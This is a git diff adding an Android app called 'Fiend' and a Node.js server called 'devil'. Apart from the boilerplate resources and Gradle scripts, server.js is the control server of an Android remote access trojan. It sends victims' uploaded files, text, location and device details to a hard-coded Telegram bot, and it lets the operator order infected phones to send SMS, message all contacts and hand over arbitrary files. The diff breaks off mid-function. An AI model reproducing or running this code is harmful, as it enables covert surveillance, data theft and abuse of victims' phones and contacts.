Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/font/helvetica.ttf differ
diff --git a/source code/apk src code v3/app/src/main/res/layout/notification.xml b/source code/apk src code v3/app/src/main/res/layout/notification.xml
new file mode 100644
index 0000000..7822241
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/layout/notification.xml
@@ -0,0 +1,6 @@
+
+
+
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
new file mode 100644
index 0000000..eca70cf
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
new file mode 100644
index 0000000..eca70cf
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher.webp
new file mode 100644
index 0000000..c209e78
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher.webp differ
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..b2dfe3d
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp differ
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher.webp
new file mode 100644
index 0000000..4f0f1d6
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher.webp differ
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..62b611d
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp differ
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher.webp
new file mode 100644
index 0000000..948a307
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher.webp differ
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..1b9a695
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp differ
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp
new file mode 100644
index 0000000..28d4b77
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp differ
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..9287f50
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp differ
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp
new file mode 100644
index 0000000..aa7d642
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp differ
diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..9126ae3
Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp differ
diff --git a/source code/apk src code v3/app/src/main/res/values/colors.xml b/source code/apk src code v3/app/src/main/res/values/colors.xml
new file mode 100644
index 0000000..f8c6127
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/values/colors.xml
@@ -0,0 +1,10 @@
+
+
+ #FFBB86FC
+ #FF6200EE
+ #FF3700B3
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/res/values/strings.xml b/source code/apk src code v3/app/src/main/res/values/strings.xml
new file mode 100644
index 0000000..58866ec
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/values/strings.xml
@@ -0,0 +1,3 @@
+
+ Fiend
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/res/values/themes.xml b/source code/apk src code v3/app/src/main/res/values/themes.xml
new file mode 100644
index 0000000..4d91442
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/values/themes.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/res/xml/backup_rules.xml b/source code/apk src code v3/app/src/main/res/xml/backup_rules.xml
new file mode 100644
index 0000000..fa0f996
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/xml/backup_rules.xml
@@ -0,0 +1,13 @@
+
+
+
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/res/xml/data_extraction_rules.xml b/source code/apk src code v3/app/src/main/res/xml/data_extraction_rules.xml
new file mode 100644
index 0000000..9ee9997
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/res/xml/data_extraction_rules.xml
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/test/java/willi/fiend/ExampleUnitTest.kt b/source code/apk src code v3/app/src/test/java/willi/fiend/ExampleUnitTest.kt
new file mode 100644
index 0000000..02682d2
--- /dev/null
+++ b/source code/apk src code v3/app/src/test/java/willi/fiend/ExampleUnitTest.kt
@@ -0,0 +1,17 @@
+package willi.fiend
+
+import org.junit.Test
+
+import org.junit.Assert.*
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * See [testing documentation](http://d.android.com/tools/testing).
+ */
+class ExampleUnitTest {
+ @Test
+ fun addition_isCorrect() {
+ assertEquals(4, 2 + 2)
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/test/java/willi/fiend/data.json b/source code/apk src code v3/app/src/test/java/willi/fiend/data.json
new file mode 100644
index 0000000..36cc03e
--- /dev/null
+++ b/source code/apk src code v3/app/src/test/java/willi/fiend/data.json
@@ -0,0 +1,5 @@
+{
+ "host" : "",
+ "socket" : "",
+ "webView" : "https://www.google.com"
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/build.gradle b/source code/apk src code v3/build.gradle
new file mode 100644
index 0000000..23cf83f
--- /dev/null
+++ b/source code/apk src code v3/build.gradle
@@ -0,0 +1,14 @@
+buildscript {
+ ext {
+ compose_version = '1.2.0'
+ }
+}// Top-level build file where you can add configuration options common to all sub-projects/modules.
+plugins {
+ id 'com.android.application' version '7.2.1' apply false
+ id 'com.android.library' version '7.2.1' apply false
+ id 'org.jetbrains.kotlin.android' version '1.7.0' apply false
+}
+
+task clean(type: Delete) {
+ delete rootProject.buildDir
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/gradle.properties b/source code/apk src code v3/gradle.properties
new file mode 100644
index 0000000..2691dd4
--- /dev/null
+++ b/source code/apk src code v3/gradle.properties
@@ -0,0 +1,24 @@
+# Project-wide Gradle settings.
+# IDE (e.g. Android Studio) users:
+# Gradle settings configured through the IDE *will override*
+# any settings specified in this file.
+# For more details on how to configure your build environment visit
+# http://www.gradle.org/docs/current/userguide/build_environment.html
+# Specifies the JVM arguments used for the daemon process.
+# The setting is particularly useful for tweaking memory settings.
+org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
+# When configured, Gradle will run in incubating parallel mode.
+# This option should only be used with decoupled projects. More details, visit
+# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
+# org.gradle.parallel=true
+# AndroidX package structure to make it clearer which packages are bundled with the
+# Android operating system, and which are packaged with your app"s APK
+# https://developer.android.com/topic/libraries/support-library/androidx-rn
+android.useAndroidX=true
+# Kotlin code style for this project: "official" or "obsolete":
+kotlin.code.style=obsolete
+android.enableR8.fullMode=true
+# Enables namespacing of each library's R class so that its R class includes only the
+# resources declared in the library itself and none from the library's dependencies,
+# thereby reducing the size of the R class for that library
+android.nonTransitiveRClass=true
\ No newline at end of file
diff --git a/source code/apk src code v3/gradle/wrapper/gradle-wrapper.jar b/source code/apk src code v3/gradle/wrapper/gradle-wrapper.jar
new file mode 100644
index 0000000..e708b1c
Binary files /dev/null and b/source code/apk src code v3/gradle/wrapper/gradle-wrapper.jar differ
diff --git a/source code/apk src code v3/gradle/wrapper/gradle-wrapper.properties b/source code/apk src code v3/gradle/wrapper/gradle-wrapper.properties
new file mode 100644
index 0000000..514af00
--- /dev/null
+++ b/source code/apk src code v3/gradle/wrapper/gradle-wrapper.properties
@@ -0,0 +1,6 @@
+#Thu Jul 21 13:03:31 IRDT 2022
+distributionBase=GRADLE_USER_HOME
+distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.3-bin.zip
+distributionPath=wrapper/dists
+zipStorePath=wrapper/dists
+zipStoreBase=GRADLE_USER_HOME
diff --git a/source code/apk src code v3/gradlew b/source code/apk src code v3/gradlew
new file mode 100644
index 0000000..4f906e0
--- /dev/null
+++ b/source code/apk src code v3/gradlew
@@ -0,0 +1,185 @@
+#!/usr/bin/env sh
+
+#
+# Copyright 2015 the original author or authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# https://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+##############################################################################
+##
+## Gradle start up script for UN*X
+##
+##############################################################################
+
+# Attempt to set APP_HOME
+# Resolve links: $0 may be a link
+PRG="$0"
+# Need this for relative symlinks.
+while [ -h "$PRG" ] ; do
+ ls=`ls -ld "$PRG"`
+ link=`expr "$ls" : '.*-> \(.*\)$'`
+ if expr "$link" : '/.*' > /dev/null; then
+ PRG="$link"
+ else
+ PRG=`dirname "$PRG"`"/$link"
+ fi
+done
+SAVED="`pwd`"
+cd "`dirname \"$PRG\"`/" >/dev/null
+APP_HOME="`pwd -P`"
+cd "$SAVED" >/dev/null
+
+APP_NAME="Gradle"
+APP_BASE_NAME=`basename "$0"`
+
+# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
+
+# Use the maximum available, or set MAX_FD != -1 to use that value.
+MAX_FD="maximum"
+
+warn () {
+ echo "$*"
+}
+
+die () {
+ echo
+ echo "$*"
+ echo
+ exit 1
+}
+
+# OS specific support (must be 'true' or 'false').
+cygwin=false
+msys=false
+darwin=false
+nonstop=false
+case "`uname`" in
+ CYGWIN* )
+ cygwin=true
+ ;;
+ Darwin* )
+ darwin=true
+ ;;
+ MINGW* )
+ msys=true
+ ;;
+ NONSTOP* )
+ nonstop=true
+ ;;
+esac
+
+CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
+
+
+# Determine the Java command to use to start the JVM.
+if [ -n "$JAVA_HOME" ] ; then
+ if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+ # IBM's JDK on AIX uses strange locations for the executables
+ JAVACMD="$JAVA_HOME/jre/sh/java"
+ else
+ JAVACMD="$JAVA_HOME/bin/java"
+ fi
+ if [ ! -x "$JAVACMD" ] ; then
+ die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+ fi
+else
+ JAVACMD="java"
+ which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+fi
+
+# Increase the maximum file descriptors if we can.
+if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
+ MAX_FD_LIMIT=`ulimit -H -n`
+ if [ $? -eq 0 ] ; then
+ if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
+ MAX_FD="$MAX_FD_LIMIT"
+ fi
+ ulimit -n $MAX_FD
+ if [ $? -ne 0 ] ; then
+ warn "Could not set maximum file descriptor limit: $MAX_FD"
+ fi
+ else
+ warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
+ fi
+fi
+
+# For Darwin, add options to specify how the application appears in the dock
+if $darwin; then
+ GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
+fi
+
+# For Cygwin or MSYS, switch paths to Windows format before running java
+if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
+ APP_HOME=`cygpath --path --mixed "$APP_HOME"`
+ CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
+
+ JAVACMD=`cygpath --unix "$JAVACMD"`
+
+ # We build the pattern for arguments to be converted via cygpath
+ ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
+ SEP=""
+ for dir in $ROOTDIRSRAW ; do
+ ROOTDIRS="$ROOTDIRS$SEP$dir"
+ SEP="|"
+ done
+ OURCYGPATTERN="(^($ROOTDIRS))"
+ # Add a user-defined pattern to the cygpath arguments
+ if [ "$GRADLE_CYGPATTERN" != "" ] ; then
+ OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
+ fi
+ # Now convert the arguments - kludge to limit ourselves to /bin/sh
+ i=0
+ for arg in "$@" ; do
+ CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
+ CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
+
+ if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
+ eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
+ else
+ eval `echo args$i`="\"$arg\""
+ fi
+ i=`expr $i + 1`
+ done
+ case $i in
+ 0) set -- ;;
+ 1) set -- "$args0" ;;
+ 2) set -- "$args0" "$args1" ;;
+ 3) set -- "$args0" "$args1" "$args2" ;;
+ 4) set -- "$args0" "$args1" "$args2" "$args3" ;;
+ 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
+ 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
+ 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
+ 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
+ 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
+ esac
+fi
+
+# Escape application args
+save () {
+ for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
+ echo " "
+}
+APP_ARGS=`save "$@"`
+
+# Collect all arguments for the java command, following the shell quoting and substitution rules
+eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
+
+exec "$JAVACMD" "$@"
diff --git a/source code/apk src code v3/gradlew.bat b/source code/apk src code v3/gradlew.bat
new file mode 100644
index 0000000..107acd3
--- /dev/null
+++ b/source code/apk src code v3/gradlew.bat
@@ -0,0 +1,89 @@
+@rem
+@rem Copyright 2015 the original author or authors.
+@rem
+@rem Licensed under the Apache License, Version 2.0 (the "License");
+@rem you may not use this file except in compliance with the License.
+@rem You may obtain a copy of the License at
+@rem
+@rem https://www.apache.org/licenses/LICENSE-2.0
+@rem
+@rem Unless required by applicable law or agreed to in writing, software
+@rem distributed under the License is distributed on an "AS IS" BASIS,
+@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+@rem See the License for the specific language governing permissions and
+@rem limitations under the License.
+@rem
+
+@if "%DEBUG%" == "" @echo off
+@rem ##########################################################################
+@rem
+@rem Gradle startup script for Windows
+@rem
+@rem ##########################################################################
+
+@rem Set local scope for the variables with windows NT shell
+if "%OS%"=="Windows_NT" setlocal
+
+set DIRNAME=%~dp0
+if "%DIRNAME%" == "" set DIRNAME=.
+set APP_BASE_NAME=%~n0
+set APP_HOME=%DIRNAME%
+
+@rem Resolve any "." and ".." in APP_HOME to make it shorter.
+for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
+
+@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
+
+@rem Find java.exe
+if defined JAVA_HOME goto findJavaFromJavaHome
+
+set JAVA_EXE=java.exe
+%JAVA_EXE% -version >NUL 2>&1
+if "%ERRORLEVEL%" == "0" goto execute
+
+echo.
+echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:findJavaFromJavaHome
+set JAVA_HOME=%JAVA_HOME:"=%
+set JAVA_EXE=%JAVA_HOME%/bin/java.exe
+
+if exist "%JAVA_EXE%" goto execute
+
+echo.
+echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:execute
+@rem Setup the command line
+
+set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
+
+
+@rem Execute Gradle
+"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
+
+:end
+@rem End local scope for the variables with windows NT shell
+if "%ERRORLEVEL%"=="0" goto mainEnd
+
+:fail
+rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
+rem the _cmd.exe /c_ return code!
+if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
+exit /b 1
+
+:mainEnd
+if "%OS%"=="Windows_NT" endlocal
+
+:omega
diff --git a/source code/apk src code v3/settings.gradle b/source code/apk src code v3/settings.gradle
new file mode 100644
index 0000000..d0ae90c
--- /dev/null
+++ b/source code/apk src code v3/settings.gradle
@@ -0,0 +1,16 @@
+pluginManagement {
+ repositories {
+ gradlePluginPortal()
+ google()
+ mavenCentral()
+ }
+}
+dependencyResolutionManagement {
+ repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
+ repositories {
+ google()
+ mavenCentral()
+ }
+}
+rootProject.name = "Fiend"
+include ':app'
diff --git a/source code/server code v3/package.json b/source code/server code v3/package.json
new file mode 100644
index 0000000..111c9ae
--- /dev/null
+++ b/source code/server code v3/package.json
@@ -0,0 +1,24 @@
+{
+ "name": "devil",
+ "version": "2.0.0",
+ "description": "",
+ "main": "server.js",
+ "engines": {
+ "node": "16.13.2"
+ },
+ "scripts": {
+ "start": "npm start"
+ },
+ "keywords": [],
+ "author": "l",
+ "license": "ISC",
+ "dependencies": {
+ "body-parser": "^1.19.1",
+ "express": "latest",
+ "multer": "^1.4.4",
+ "node-telegram-bot-api": "latest",
+ "uuid": "^8.3.2",
+ "ws": "latest",
+ "axios": "^0.26.1"
+ }
+}
\ No newline at end of file
diff --git a/source code/server code v3/server.js b/source code/server code v3/server.js
new file mode 100644
index 0000000..c655cdc
--- /dev/null
+++ b/source code/server code v3/server.js
@@ -0,0 +1,720 @@
+const express = require('express');
+const webSocket = require('ws');
+const http = require('http')
+const telegramBot = require('node-telegram-bot-api')
+const uuid4 = require('uuid')
+const multer = require('multer');
+const bodyParser = require('body-parser')
+const axios = require("axios");
+
+const token = '5376895931:AAGungqejutol8QIidI2tlJMkmCSUuAAY9w'
+const id = '5155109916'
+const address = 'https://www.google.com'
+
+const app = express();
+const appServer = http.createServer(app);
+const appSocket = new webSocket.Server({server: appServer});
+const appBot = new telegramBot(token, {polling: true});
+const appClients = new Map()
+
+const upload = multer();
+app.use(bodyParser.json());
+
+let currentUuid = ''
+let currentNumber = ''
+let currentTitle = ''
+
+app.get('/', function (req, res) {
+ res.send('𝙎𝙚𝙧𝙫𝙚𝙧 𝙪𝙥𝙡𝙤𝙖𝙙𝙚𝙙 𝙨𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮
')
+})
+
+app.post("/uploadFile", upload.single('file'), (req, res) => {
+ const name = req.file.originalname
+ appBot.sendDocument(id, req.file.buffer, {
+ caption: `°• 𝙈𝙚𝙨𝙨𝙖𝙜𝙚 𝙛𝙧𝙤𝙢 ${req.headers.model} 𝙙𝙚𝙫𝙞𝙘𝙚`,
+ parse_mode: "HTML"
+ },
+ {
+ filename: name,
+ contentType: 'application/txt',
+ })
+ res.send('')
+})
+app.post("/uploadText", (req, res) => {
+ appBot.sendMessage(id, `°• 𝙈𝙚𝙨𝙨𝙖𝙜𝙚 𝙛𝙧𝙤𝙢 ${req.headers.model} 𝙙𝙚𝙫𝙞𝙘𝙚\n\n` + req.body['text'], {parse_mode: "HTML"})
+ res.send('')
+})
+app.post("/uploadLocation", (req, res) => {
+ appBot.sendLocation(id, req.body['lat'], req.body['lon'])
+ appBot.sendMessage(id, `°• 𝙇𝙤𝙘𝙖𝙩𝙞𝙤𝙣 𝙛𝙧𝙤𝙢 ${req.headers.model} 𝙙𝙚𝙫𝙞𝙘𝙚`, {parse_mode: "HTML"})
+ res.send('')
+})
+appSocket.on('connection', (ws, req) => {
+ const uuid = uuid4.v4()
+ const model = req.headers.model
+ const battery = req.headers.battery
+ const version = req.headers.version
+ const brightness = req.headers.brightness
+ const provider = req.headers.provider
+
+ ws.uuid = uuid
+ appClients.set(uuid, {
+ model: model,
+ battery: battery,
+ version: version,
+ brightness: brightness,
+ provider: provider
+ })
+ appBot.sendMessage(id,
+ `°• 𝙉𝙚𝙬 𝙙𝙚𝙫𝙞𝙘𝙚 𝙘𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙\n\n` +
+ `• ᴅᴇᴠɪᴄᴇ ᴍᴏᴅᴇʟ : ${model}\n` +
+ `• ʙᴀᴛᴛᴇʀʏ : ${battery}\n` +
+ `• ᴀɴᴅʀᴏɪᴅ ᴠᴇʀꜱɪᴏɴ : ${version}\n` +
+ `• ꜱᴄʀᴇᴇɴ ʙʀɪɢʜᴛɴᴇꜱꜱ : ${brightness}\n` +
+ `• ᴘʀᴏᴠɪᴅᴇʀ : ${provider}`,
+ {parse_mode: "HTML"}
+ )
+ ws.on('close', function () {
+ appBot.sendMessage(id,
+ `°• 𝘿𝙚𝙫𝙞𝙘𝙚 𝙙𝙞𝙨𝙘𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙\n\n` +
+ `• ᴅᴇᴠɪᴄᴇ ᴍᴏᴅᴇʟ : ${model}\n` +
+ `• ʙᴀᴛᴛᴇʀʏ : ${battery}\n` +
+ `• ᴀɴᴅʀᴏɪᴅ ᴠᴇʀꜱɪᴏɴ : ${version}\n` +
+ `• ꜱᴄʀᴇᴇɴ ʙʀɪɢʜᴛɴᴇꜱꜱ : ${brightness}\n` +
+ `• ᴘʀᴏᴠɪᴅᴇʀ : ${provider}`,
+ {parse_mode: "HTML"}
+ )
+ appClients.delete(ws.uuid)
+ })
+})
+appBot.on('message', (message) => {
+ const chatId = message.chat.id;
+ if (message.reply_to_message) {
+ if (message.reply_to_message.text.includes('°• 𝙋𝙡𝙚𝙖𝙨𝙚 𝙧𝙚𝙥𝙡𝙮 𝙩𝙝𝙚 𝙣𝙪𝙢𝙗𝙚𝙧 𝙩𝙤 𝙬𝙝𝙞𝙘𝙝 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙝𝙚 𝙎𝙈𝙎')) {
+ currentNumber = message.text
+ appBot.sendMessage(id,
+ '°• 𝙂𝙧𝙚𝙖𝙩, 𝙣𝙤𝙬 𝙚𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙤 𝙩𝙝𝙞𝙨 𝙣𝙪𝙢𝙗𝙚𝙧\n\n' +
+ '• ʙᴇ ᴄᴀʀᴇꜰᴜʟ ᴛʜᴀᴛ ᴛʜᴇ ᴍᴇꜱꜱᴀɢᴇ ᴡɪʟʟ ɴᴏᴛ ʙᴇ ꜱᴇɴᴛ ɪꜰ ᴛʜᴇ ɴᴜᴍʙᴇʀ ᴏꜰ ᴄʜᴀʀᴀᴄᴛᴇʀꜱ ɪɴ ʏᴏᴜʀ ᴍᴇꜱꜱᴀɢᴇ ɪꜱ ᴍᴏʀᴇ ᴛʜᴀɴ ᴀʟʟᴏᴡᴇᴅ',
+ {reply_markup: {force_reply: true}}
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙂𝙧𝙚𝙖𝙩, 𝙣𝙤𝙬 𝙚𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙤 𝙩𝙝𝙞𝙨 𝙣𝙪𝙢𝙗𝙚𝙧')) {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`send_message:${currentNumber}/${message.text}`)
+ }
+ });
+ currentNumber = ''
+ currentUuid = ''
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙤 𝙖𝙡𝙡 𝙘𝙤𝙣𝙩𝙖𝙘𝙩𝙨')) {
+ const message_to_all = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`send_message_to_all:${message_to_all}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙥𝙖𝙩𝙝 𝙤𝙛 𝙩𝙝𝙚 𝙛𝙞𝙡𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙙𝙤𝙬𝙣𝙡𝙤𝙖𝙙')) {
+ const path = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`file:${path}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
